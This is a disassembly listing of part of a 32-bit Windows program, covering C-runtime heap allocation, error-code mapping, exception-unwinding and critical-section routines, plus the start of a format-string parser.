; ---------------------------------------------------------------------------


loc_449702:				; CODE XREF: sub_44965B+E5j
		mov	eax, [ebp+var_C]
		lea	edx, [eax+1]
		mov	[ebp+var_C], edx
		mov	eax, dword_4111AC[eax*4]
		mov	ebx, eax
		test	eax, eax
		jz	short loc_449738
		mov	eax, dword_4111D0
		add	eax, 0FFFFFFFCh
		cmp	ebx, eax
		jnz	short loc_449727
		mov	ebx, [ebx-4]


loc_449727:				; CODE XREF: sub_44965B+C7j
		mov	[ebp+var_4], ebx


loc_44972A:				; CODE XREF: sub_44965B+DBj
		mov	edi, [ebx]
		cmp	edi, esi
		jnb	short loc_449738
		mov	ebx, [ebx-4]
		cmp	ebx, [ebp+var_4]
		jnz	short loc_44972A


loc_449738:				; CODE XREF: sub_44965B+9Bj
					; sub_44965B+A5j ...
		cmp	edi, esi
		jnb	short loc_449742
		cmp	[ebp+var_C], 8
		jl	short loc_449702


loc_449742:				; CODE XREF: sub_44965B+DFj
		cmp	edi, esi
		jnb	short loc_449768
		push	esi
		call	sub_4493CB
		pop	ecx
		test	eax, eax
		jz	loc_449992
		mov	eax, dword_411200
		mov	[ebp+var_C], eax
		mov	ebx, dword_4111AC[eax*4]
		mov	edi, [ebx]
		jmp	short loc_449771
; ---------------------------------------------------------------------------


loc_449768:				; CODE XREF: sub_44965B+E9j
		cmp	[ebp+var_C], 0
		jle	short loc_449771
		dec	[ebp+var_C]


loc_449771:				; CODE XREF: sub_44965B+10Bj
					; sub_44965B+111j
		mov	eax, edi
		sub	eax, esi
		mov	[ebp+var_14], eax
		cmp	eax, 4
		jb	loc_4498FA
		mov	eax, dword_4111E8
		cmp	[ebp+var_14], eax
		ja	short loc_4497C1
		mov	eax, dword_4111E0
		cmp	[ebp+var_14], eax
		ja	short loc_4497A8
		mov	eax, dword_4111DC
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_4497BC
; ---------------------------------------------------------------------------


loc_4497A8:				; CODE XREF: sub_44965B+138j
		mov	eax, dword_4111E4
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 2
		mov	[ebp+var_1C], eax


loc_4497BC:				; CODE XREF: sub_44965B+14Bj
		mov	eax, [ebp+var_1C]
		jmp	short loc_4497F5
; ---------------------------------------------------------------------------


loc_4497C1:				; CODE XREF: sub_44965B+12Ej
		mov	eax, dword_4111F0
		cmp	[ebp+var_14], eax
		ja	short loc_4497E1
		mov	eax, dword_4111EC
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 4
		mov	[ebp+var_1C], eax
		jmp	short loc_4497F5
; ---------------------------------------------------------------------------


loc_4497E1:				; CODE XREF: sub_44965B+16Ej
		mov	eax, dword_4111F4
		cmp	[ebp+var_14], eax
		setnbe	al
		and	eax, 1
		add	eax, 6
		mov	[ebp+var_1C], eax


loc_4497F5:				; CODE XREF: sub_44965B+164j
					; sub_44965B+184j
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_C]
		cmp	[ebp+var_18], eax
		jz	loc_4498E7
		mov	eax, [ebx-4]
		mov	[ebp+var_20], eax
		cmp	ebx, [ebp+var_20]
		jnz	short loc_449849
		mov	eax, [ebp+var_C]
		mov	dword_4111AC[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111FC, eax
		jnz	short loc_44987A
		jmp	short loc_449833
; ---------------------------------------------------------------------------


loc_44982D:				; CODE XREF: sub_44965B+1EAj
		inc	dword_4111FC


loc_449833:				; CODE XREF: sub_44965B+1D0j
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_449847
		cmp	eax, 7
		jl	short loc_44982D


loc_449847:				; CODE XREF: sub_44965B+1E5j
		jmp	short loc_44987A
; ---------------------------------------------------------------------------


loc_449849:				; CODE XREF: sub_44965B+1B5j
		mov	eax, [ebx-8]
		mov	[ebp+var_24], eax
		mov	edx, [ebp+var_24]
		mov	eax, [ebp+var_20]
		mov	[edx-4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_24]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111AC[eax*4]
		jnz	short loc_44987A
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_24]
		mov	dword_4111AC[eax*4], edx


loc_44987A:				; CODE XREF: sub_44965B+1CEj
					; sub_44965B:loc_449847j ...
		mov	eax, [ebp+var_18]
		mov	eax, dword_4111AC[eax*4]
		mov	[ebp+var_24], eax
		test	eax, eax
		jnz	short loc_4498B0
		mov	[ebp+var_20], ebx
		mov	[ebp+var_24], ebx
		mov	eax, [ebp+var_18]
		mov	dword_4111AC[eax*4], ebx
		mov	eax, [ebp+var_18]
		cmp	dword_4111FC, eax
		jle	short loc_4498B9
		mov	eax, [ebp+var_18]
		mov	dword_4111FC, eax
		jmp	short loc_4498B9
; ---------------------------------------------------------------------------


loc_4498B0:				; CODE XREF: sub_44965B+22Ej
		mov	eax, [ebp+var_24]
		mov	eax, [eax-8]
		mov	[ebp+var_20], eax


loc_4498B9:				; CODE XREF: sub_44965B+249j
					; sub_44965B+253j
		mov	eax, [ebp+var_24]
		mov	[ebx-4], eax
		mov	edx, [ebp+var_24]
		mov	[edx-8], ebx
		mov	edx, [ebp+var_20]
		mov	[edx-4], ebx
		mov	eax, [ebp+var_20]
		mov	[ebx-8], eax
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	loc_44996F
; ---------------------------------------------------------------------------


loc_4498E7:				; CODE XREF: sub_44965B+1A6j
		mov	eax, [ebp+var_14]
		mov	edx, eax
		shl	edx, 2
		mov	ecx, ebx
		sub	ecx, edx
		mov	[ecx+4], eax
		mov	[ebx], eax
		jmp	short loc_44996F
; ---------------------------------------------------------------------------


loc_4498FA:				; CODE XREF: sub_44965B+120j
		mov	eax, [ebx-4]
		mov	[ebp+var_1C], eax
		cmp	ebx, [ebp+var_1C]
		jnz	short loc_44993C
		mov	eax, [ebp+var_C]
		mov	dword_4111AC[eax*4], 0
		mov	eax, [ebp+var_C]
		cmp	dword_4111FC, eax
		jnz	short loc_44996D
		jmp	short loc_449926
; ---------------------------------------------------------------------------


loc_449920:				; CODE XREF: sub_44965B+2DDj
		inc	dword_4111FC


loc_449926:				; CODE XREF: sub_44965B+2C3j
		mov	eax, dword_4111FC
		cmp	dword_4111AC[eax*4], 0
		jnz	short loc_44993A
		cmp	eax, 7
		jl	short loc_449920


loc_44993A:				; CODE XREF: sub_44965B+2D8j
		jmp	short loc_44996D
; ---------------------------------------------------------------------------


loc_44993C:				; CODE XREF: sub_44965B+2A8j
		mov	eax, [ebx-8]
		mov	[ebp+var_20], eax
		mov	edx, [ebp+var_20]
		mov	eax, [ebp+var_1C]
		mov	[edx-4], eax
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+var_20]
		mov	[edx-8], eax
		mov	eax, [ebp+var_C]
		cmp	ebx, dword_4111AC[eax*4]
		jnz	short loc_44996D
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_20]
		mov	dword_4111AC[eax*4], edx


loc_44996D:				; CODE XREF: sub_44965B+2C1j
					; sub_44965B:loc_44993Aj ...
		mov	esi, edi


loc_44996F:				; CODE XREF: sub_44965B+287j
					; sub_44965B+29Dj
		mov	eax, edi
		shl	eax, 2
		mov	edx, ebx
		sub	edx, eax
		lea	eax, [edx+4]
		mov	[ebp+var_8], eax
		mov	edx, esi
		or	edx, 80000000h
		mov	[eax+esi*4-4], edx
		mov	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 4


loc_449992:				; CODE XREF: sub_44965B+F4j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_44965B	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44999B	proc near		; CODE XREF: sub_44853B+Dp
					; sub_44910B+Ap ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00449A02 SIZE 00000038 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_40F8E4
		push	offset sub_408748
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_1C], 0
		mov	eax, dword_4117E4
		cmp	[ebp+arg_0], eax
		jnb	short loc_449A02
		push	0
		call	sub_449F3B
		pop	ecx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_44965B
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4499F9
		jmp	short loc_449A02
sub_44999B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4499F9	proc near		; CODE XREF: sub_44999B+57p
		push	0
		call	sub_449FBB
		pop	ecx
		retn
sub_4499F9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44999B


loc_449A02:				; CODE XREF: sub_44999B+35j
					; sub_44999B+5Cj
		cmp	[ebp+var_1C], 0
		jnz	short loc_449A15
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_449DEB
		pop	ecx
		mov	[ebp+var_1C], eax


loc_449A15:				; CODE XREF: sub_44999B+6Bj
		cmp	[ebp+var_1C], 0
		jnz	short loc_449A26
		call	sub_449B9B
		mov	dword ptr [eax], 0Ch


loc_449A26:				; CODE XREF: sub_44999B+7Ej
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_44999B
; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_449A3B	proc near		; CODE XREF: sub_44910B+7Bp
					; sub_44A57B+80p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 91h
		jz	loc_449B0D
		jg	short loc_449A98
		cmp	ebx, 50h
		jl	short loc_449A5F
		cmp	ebx, 59h
		jg	short loc_449A70
		jmp	dword ptr aProtorecvDataS+3[ebx*4]
; ---------------------------------------------------------------------------


loc_449A5F:				; CODE XREF: sub_449A3B+16j
		cmp	ebx, 1
		jl	short loc_449ADD
		cmp	ebx, 43h
		jg	short loc_449ADD
		jmp	off_40F914[ebx*4]
; ---------------------------------------------------------------------------


loc_449A70:				; CODE XREF: sub_449A3B+1Bj
		cmp	ebx, 6Ch
		jl	short loc_449ADD
		cmp	ebx, 72h
		jg	short loc_449A81
		jmp	dword ptr a02i02i02iIIIS+6[ebx*4]
; ---------------------------------------------------------------------------


loc_449A81:				; CODE XREF: sub_449A3B+3Dj
		cmp	ebx, 80h
		jl	short loc_449ADD
		cmp	ebx, 84h
		jg	short loc_449ADD
		jmp	dword ptr aWinsock2_xInit+0Eh[ebx*4]
; ---------------------------------------------------------------------------


loc_449A98:				; CODE XREF: sub_449A3B+11j
		cmp	ebx, 0A4h
		jz	short loc_449B1A
		cmp	ebx, 0A7h
		jz	short loc_449B0D
		jg	short loc_449ABC
		cmp	ebx, 9Eh
		jz	short loc_449B0D
		cmp	ebx, 0A1h
		jz	short loc_449AED
		jmp	short loc_449ADD
; ---------------------------------------------------------------------------


loc_449ABC:				; CODE XREF: sub_449A3B+6Dj
		cmp	ebx, 0B7h
		jl	short loc_449ADD
		cmp	ebx, 0D7h
		jg	short loc_449AD3
		jmp	dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n"
; ---------------------------------------------------------------------------


loc_449AD3:				; CODE XREF: sub_449A3B+8Fj
		cmp	ebx, 718h
		jz	short loc_449AFD
		jmp	short $+2


loc_449ADD:				; CODE XREF: sub_449A3B+27j
					; sub_449A3B+2Cj ...
		call	sub_449B9B
		mov	dword ptr [eax], 16h
		jmp	loc_449B8D
; ---------------------------------------------------------------------------


loc_449AED:				; CODE XREF: sub_449A3B+7Dj
		call	sub_449B9B
		mov	dword ptr [eax], 2
		jmp	loc_449B8D
; ---------------------------------------------------------------------------


loc_449AFD:				; CODE XREF: sub_449A3B+9Ej
		call	sub_449B9B
		mov	dword ptr [eax], 0Ch
		jmp	loc_449B8D
; ---------------------------------------------------------------------------


loc_449B0D:				; CODE XREF: sub_449A3B+Bj
					; sub_449A3B+6Bj ...
		call	sub_449B9B
		mov	dword ptr [eax], 0Dh
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------


loc_449B1A:				; CODE XREF: sub_449A3B+63j
		call	sub_449B9B
		mov	dword ptr [eax], 0Bh
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------
		call	sub_449B9B
		mov	dword ptr [eax], 11h
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------
		call	sub_449B9B
		mov	dword ptr [eax], 9
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------
		call	sub_449B9B
		mov	dword ptr [eax], 0Ah
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------
		call	sub_449B9B
		mov	dword ptr [eax], 8
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------
		call	sub_449B9B
		mov	dword ptr [eax], 18h
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------
		call	sub_449B9B
		mov	dword ptr [eax], 1Ch
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------
		call	sub_449B9B
		mov	dword ptr [eax], 20h
		jmp	short loc_449B8D
; ---------------------------------------------------------------------------
		call	sub_449B9B
		mov	dword ptr [eax], 12h


loc_449B8D:				; CODE XREF: sub_449A3B+ADj
					; sub_449A3B+BDj ...
		pop	ebx
		retn
sub_449A3B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449B9B	proc near		; CODE XREF: sub_44856B+1Bp
					; sub_44999B+80p ...
		call	sub_44A88B
		add	eax, 8
		retn
sub_449B9B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	short loc_449C48
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_449BE2:				; CODE XREF: DMN1:00449C3Fj
		cmp	esi, 0FFFFFFFFh
		jz	short loc_449C58
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_449C36
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		test	eax, eax
		jz	short loc_449C36
		js	short loc_449C41
		mov	edi, [ebx+8]
		push	ebx
		call	sub_449C8B
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_449CDB
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_449D84
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_449C36:				; CODE XREF: DMN1:00449BEFj
					; DMN1:00449C01j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_449BE2
; ---------------------------------------------------------------------------


loc_449C41:				; CODE XREF: DMN1:00449C03j
		mov	eax, 0
		jmp	short loc_449C5D
; ---------------------------------------------------------------------------


loc_449C48:				; CODE XREF: DMN1:00449BCBj
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_449CDB
		add	esp, 8
		pop	ebp


loc_449C58:				; CODE XREF: DMN1:00449BE5j
		mov	eax, 1


loc_449C5D:				; CODE XREF: DMN1:00449C46j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_449CDB
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449C8B	proc near		; CODE XREF: DMN1:00449C09p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_408838
		push	[ebp+arg_0]
		call	sub_44EC1B	; RtlUnwind
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449C8B	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+4]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_449CCC
		mov	eax, [esp+8]
		mov	edx, [esp+10h]
		mov	[edx], eax
		mov	eax, 3

locret_449CCC:				; CODE XREF: DMN1:00449CBBj
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449CDB	proc near		; CODE XREF: DMN1:00449C16p
					; DMN1:00449C4Fp ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_408840
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_449CF8:				; CODE XREF: sub_449CDB:loc_449D33j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_449D35
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_449D35
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_449D33
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_449D84
		call	dword ptr [ebx+esi*4+8]


loc_449D33:				; CODE XREF: sub_449CDB+44j
		jmp	short loc_449CF8
; ---------------------------------------------------------------------------


loc_449D35:				; CODE XREF: sub_449CDB+2Aj
					; sub_449CDB+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_449CDB	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_408840
		jnz	short locret_449D6D
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_449D6D
		mov	eax, 1

locret_449D6D:				; CODE XREF: DMN1:00449D5Bj
					; DMN1:00449D66j
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	ecx
		mov	ebx, offset dword_411204
		jmp	short loc_449D8E

; =============== S U B	R O U T	I N E =======================================



sub_449D84	proc near		; CODE XREF: DMN1:00449C27p
					; sub_449CDB+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_411204
		mov	ecx, [ebp+8]


loc_449D8E:				; CODE XREF: DMN1:00449D82j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_449D84	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_449DAB	proc near		; CODE XREF: DMN1:004492D1p
		push	0
		push	1000h
		push	0
		call	dword_411DB4	; HeapCreate
		mov	dword_4127F4, eax
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
sub_449DAB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	7Fh, 0
; ---------------------------------------------------------------------------
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DB8	; HeapDestroy
		mov	dword_4127F4, 0
		retn
; ---------------------------------------------------------------------------
		db 89h,	0FFh
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449DEB	proc near		; CODE XREF: sub_44999B+71p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DBC	; RtlAllocateHeap
		retn
sub_449DEB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DC0	; RtlReAllocateHeap
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_449E2B	proc near		; CODE XREF: sub_4488EB+41p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DC4	; RtlFreeHeap
		retn
sub_449E2B	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BFh, 4	dup(0)
; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		mov	eax, [esp+0Ch]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DC8	; RtlSizeHeap
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_449E6D
		xor	esi, esi
		jmp	short loc_449E6F
; ---------------------------------------------------------------------------


loc_449E6D:				; CODE XREF: DMN1:00449E67j
		mov	esi, ebx


loc_449E6F:				; CODE XREF: DMN1:00449E6Bj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	0BCh, 27h, 4 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	eax
		push	0
		mov	eax, dword_4127F4
		push	eax
		call	dword_411DCC	; HeapValidate
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	7Ch, 27h, 0

; =============== S U B	R O U T	I N E =======================================



sub_449E9B	proc near		; CODE XREF: sub_44A7CB+1p
		mov	eax, off_411214
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		mov	eax, off_411218
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		mov	eax, off_41121C
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		mov	eax, off_411220
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		retn
sub_449E9B	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)

; =============== S U B	R O U T	I N E =======================================



sub_449EDB	proc near		; CODE XREF: DMN1:0044A82Bp
		push	ebx
		mov	ebx, 4


loc_449EE1:				; CODE XREF: sub_449EDB+2Aj
		mov	eax, off_411214[ebx*4]
		test	eax, eax
		jz	short loc_449F01
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		mov	eax, off_411214[ebx*4]
		push	eax
		call	sub_4488EB
		pop	ecx


loc_449F01:				; CODE XREF: sub_449EDB+Fj
		inc	ebx
		cmp	ebx, 9
		jl	short loc_449EE1
		mov	eax, off_411214
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		mov	eax, off_411218
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		mov	eax, off_41121C
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		mov	eax, off_411220
		push	eax
		call	dword_411DD0	; RtlDeleteCriticalSection
		pop	ebx
		retn
sub_449EDB	endp

; ---------------------------------------------------------------------------
		db 89h,	0FFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449F3B	proc near		; CODE XREF: sub_4488EB+4Bp
					; sub_448AFB+28p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	off_411214[ebx*4], 0
		jnz	short loc_449FA0
		push	18h
		call	sub_44999B
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_449F66
		push	1
		call	sub_44A98B
		pop	ecx


loc_449F66:				; CODE XREF: sub_449F3B+21j
		push	3
		call	sub_449F3B
		pop	ecx
		cmp	off_411214[ebx*4], 0
		jnz	short loc_449F8E
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_411CCC	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	off_411214[ebx*4], eax
		jmp	short loc_449F98
; ---------------------------------------------------------------------------


loc_449F8E:				; CODE XREF: sub_449F3B+3Bj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4488EB
		pop	ecx


loc_449F98:				; CODE XREF: sub_449F3B+51j
		push	3
		call	sub_449FBB
		pop	ecx


loc_449FA0:				; CODE XREF: sub_449F3B+12j
		mov	eax, off_411214[ebx*4]
		push	eax
		call	dword_411CD0	; RtlEnterCriticalSection
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_449F3B	endp

; ---------------------------------------------------------------------------
		db 90h
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_449FBB	proc near		; CODE XREF: sub_448955+2p
					; sub_448B56+2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, off_411214[eax*4]
		push	eax
		call	dword_411CD4	; RtlLeaveCriticalSection
		retn
sub_449FBB	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0BFh, 4	dup(0)
		db 8Dh,	0BCh, 27h, 4 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_449FDB	proc near		; CODE XREF: sub_4489BB+3Dp
					; sub_448A5B+27p ...

var_84		= byte ptr -84h
var_50		= dword	ptr -50h
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= byte ptr -6
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_48], 0
		mov	[ebp+var_44], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	[ebp+var_10], 0


loc_44A00B:				; CODE XREF: sub_449FDB+A4j
					; sub_449FDB+264j
		mov	[ebp+var_4A], 0
		lea	eax, [ebp+var_48]
		push	eax
		push	7FFFFFFFh
		push	ebx
		lea	eax, [ebp+var_4A]
		push	eax
		call	sub_44B14B
		add	esp, 10h
		mov	esi, eax
		test	eax, eax
		jg	short loc_44A038
		cmp	byte ptr [ebx],	0
		setnz	al
		and	eax, 1
		mov	esi, eax


loc_44A038:				; CODE XREF: sub_449FDB+50j
		cmp	[ebp+var_4A], 25h
		jnz	short loc_44A047
		lea	eax, [esi-1]
		mov	[ebp+var_50], eax
		jmp	short loc_44A04A
; ---------------------------------------------------------------------------


loc_44A047:				; CODE XREF: sub_449FDB+62j
		mov	[ebp+var_50], esi


loc_44A04A:				; CODE XREF: sub_449FDB+6Aj
		mov	eax, [ebp+var_50]
		mov	edi, eax
		test	eax, eax
		jle	short loc_44A071
		push	edi
		push	ebx
		mov	eax, [ebp+var_34]
		push	eax
		call	[ebp+var_38]
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		test	eax, eax
		jnz	short loc_44A06E
		or	eax, 0FFFFFFFFh
		jmp	loc_44A248
; ---------------------------------------------------------------------------


loc_44A06E:				; CODE XREF: sub_449FDB+89j
		add	[ebp+var_10], edi


loc_44A071:				; CODE XREF: sub_449FDB+76j
		add	ebx, esi
		cmp	[ebp+var_4A], 25h
		jz	short loc_44A089
		cmp	[ebp+var_4A], 0
		jnz	short loc_44A00B
		mov	eax, [ebp+var_10]
		jmp	loc_44A248
; ---------------------------------------------------------------------------


